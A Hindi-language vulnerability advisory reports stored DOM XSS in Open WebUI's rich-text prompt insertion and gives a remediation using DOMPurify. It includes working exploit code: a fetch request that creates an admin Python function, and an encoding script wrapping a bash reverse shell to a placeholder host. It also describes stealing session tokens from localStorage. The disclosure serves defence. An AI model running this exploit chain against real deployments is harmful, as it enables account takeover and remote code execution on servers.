
Open WebUI, 'Insert Prompt as Rich Text' सक्षम होने पर प्रॉम्प्ट के माध्यम से संग्रहीत DOM XSS के लिए संवेदनशील है, जिसके परिणामस्वरूप ATO/RCE होता है।
Open WebUI 'Insert Prompt as Rich Text' सक्षम होने पर प्रॉम्प्ट के माध्यम से स्टोर्ड DOM XSS के लिए असुरक्षित है, जिसके परिणामस्वरूप ATO/RCE होता है।

जब 'Insert Prompt as Rich Text' सक्षम होता है, तो चैट विंडो में कस्टम प्रॉम्प्ट सम्मिलित करने वाली कार्यक्षमता DOM XSS के प्रति असुरक्षित होती है, क्योंकि प्रॉम्प्ट बॉडी को बिना सैनिटाइज़ेशन के DOM सिंक .innerHtml को असाइन किया जाता है। प्रॉम्प्ट बनाने की अनुमति वाला कोई भी उपयोगकर्ता इसका दुरुपयोग करके एक पेलोड लगा सकता है जो अन्य उपयोगकर्ताओं द्वारा ट्रिगर किया जा सकता है यदि वे प्रॉम्प्ट डालने के लिए संबंधित / कमांड चलाते हैं।
प्रभावित पंक्ति है
open-webui/src/lib/components/common/RichTextInput.svelte
Line 348 in 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnerable
प्रॉम्प्ट बॉडी से उपयोगकर्ता नियंत्रित HTML को बिना (अर्थपूर्ण) सैनिटाइज़ेशन के tempDiv.innerHTML को असाइन किया जाता है। marked.parse कुछ वर्ण सीमाएँ प्रस्तुत करता है लेकिन सामग्री को सैनिटाइज़ नहीं करता, जैसा कि उनके README में बताया गया है।

PoC
एक कस्टम प्रॉम्प्ट निम्नानुसार बनाएं:

सेटिंग्स के माध्यम से, सुनिश्चित करें कि 'Insert Prompt as Rich Text' सक्षम है:

चैट विंडो के माध्यम से कमांड /poc चलाएं।

अलर्ट ट्रिगर होते हुए देखें।

RCE चूंकि एडमिन 'Functions' सुविधा के माध्यम से सर्वर पर मनमाना Python कोड चला सकते हैं, इस XSS का उपयोग किसी भी एडमिन को इसे ट्रिगर करने पर हमलावर की पसंद के Python कोड के साथ ऐसे फ़ंक्शन को चलाने के लिए मजबूर करने के लिए किया जा सकता है।
यह उन्हें निम्नलिखित fetch अनुरोध चलाने के द्वारा पूरा किया जा सकता है:
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
यह सीधे नहीं किया जा सकता क्योंकि marked.parse कॉल जिसके माध्यम से HTML पास किया जाता है, उद्धरण वाले पेलोड को बेअसर कर देगा।

इसके आसपास जाने के लिए स्ट्रिंग्स को String.fromCodePoint का उपयोग करके मैन्युअल रूप से उनके दशमलव मानों से बनाया जाना चाहिए। निम्नलिखित Python स्क्रिप्ट दिए गए JavaScript से एक व्यवहार्य पेलोड उत्पन्न करने को स्वचालित करती है:
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
एक एडमिन जो प्रॉम्प्ट कमांड के माध्यम से संबंधित पेलोड को ट्रिगर करता है, एक Python फ़ंक्शन को चलाने के लिए ट्रिगर करेगा जो एक रिवर्स शेल पेलोड चलाता है, जिससे हमलावर को सर्वर पर कमांड लाइन एक्सेस मिल जाती है।



दुर्भावनापूर्ण प्रॉम्प्ट चलाने वाले किसी भी उपयोगकर्ता का खाता दुर्भावनापूर्ण JavaScript के माध्यम से समझौता किया जा सकता है जो localstorage से उनका सत्र टोकन पढ़ता है और इसे हमलावर नियंत्रित सर्वर पर बाहर निकालता है।
दुर्भावनापूर्ण प्रॉम्प्ट चलाने वाले एडमिन उपयोगकर्ता बैकएंड सर्वर को रिमोट कोड एग्जीक्यूशन (RCE) के लिए उजागर करने का जोखिम उठाते हैं क्योंकि भेद्यता के माध्यम से चलने वाली दुर्भावनापूर्ण JavaScript का उपयोग एडमिन उपयोगकर्ता के रूप में अनुरोध भेजने के लिए किया जा सकता है जो दुर्भावनापूर्ण Python फ़ंक्शन चलाते हैं, जो ऑपरेटिंग सिस्टम कमांड चला सकते हैं।
निम्न विशेषाधिकार वाले उपयोगकर्ता डिफ़ॉल्ट रूप से प्रॉम्प्ट नहीं बना सकते, USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS अनुमति की आवश्यकता है, जो उदाहरण के लिए एक कस्टम समूह के माध्यम से दी जा सकती है। देखें: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
प्रॉम्प्ट को ट्रिगर करने के लिए कमांड चलाने वाले पीड़ित उपयोगकर्ता के पास भेद्यता को ट्रिगर करने के लिए प्राथमिकताओं के माध्यम से 'Insert Prompt as Rich Text' सेटिंग सक्षम होनी चाहिए। सेटिंग डिफ़ॉल्ट रूप से बंद है। इस सेटिंग को अक्षम करने वाले उपयोगकर्ता प्रभावित नहीं होते हैं।
.innerHtml को असाइन करने से पहले उपयोगकर्ता नियंत्रित HTML को DOMPurify से सैनिटाइज़ करें।